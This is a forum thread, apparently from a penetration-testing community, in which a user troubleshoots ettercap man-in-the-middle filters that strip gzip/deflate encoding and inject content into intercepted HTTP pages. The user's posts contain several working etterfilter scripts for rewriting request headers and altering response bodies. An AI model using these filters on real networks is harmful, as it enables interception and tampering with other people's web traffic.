ettercap filter not working for google or yahoo

[kinchyle]

I'm having issues with ettercap and sites using gzip, deflate.

I am using a basic filter

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Nothing!");
}
}

if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<title>")) {
replace("</title>", "!!!</title>");
msg("script injected");
}}

It's like the page gets redirected.
If I look in firefox firebug for HTML I see
"Failed to load source for: hxxp://xxx.yahoo.com/"

I tried messing with removing javascript thinking maybe the site was validating but that didn't seem to work

Also tried other filters like

if (search(DATA.data, "gzip")) {
replace("gzip", " "); # note: four spaces in the replacement string
msg("whited out gzip\n");
}
if (search(DATA.data, "deflate")) {
replace("deflate", " "); # note: seven spaces in the replacement string
msg("whited out deflate\n");
}
if (search(DATA.data, "gzip,deflate")) {
replace("gzip,deflate", " "); # note: twelve spaces in the replacement string
msg("whited out deflate and gzip\n");
}

Also tried manipulating
gzip;q=0,deflate;q=0
but couldn't get the size the same.


I've read around in the backtrack forums and external and no one seems to have issues with this. What am I missing.

If I do an if gzip,deflate do nothing else do something
All the other pages will get the title/image changes and google/yahoo just work normally.

On a side note it's IE7 that gives the error page (client error page). Firefox looks to show the web page but it's like the page jammed. I have no script not sure if that's doing anything.

Also notice where firefox and ie treat the gzip,deflate or gzip, deflate differently....

Trying to get image replacement working across the board but having a hard time with the chunked/gzip sites like amazon, yahoo, google.
Facebook and ebay will work if I do the Accept-Encoding manipulation in the DECODED.data but it breaks amazon, yahoo, google etc.

[Archangel-Amael]

Use the edit button instead of making multiple consecutive posts.
Thanks.

[kinchyle]

will do. They were at seperate points in time. Wanted people to realize I was digging/working on it. I know you don't get an answer from the forums unless you've put in the effort on figuring it out yourself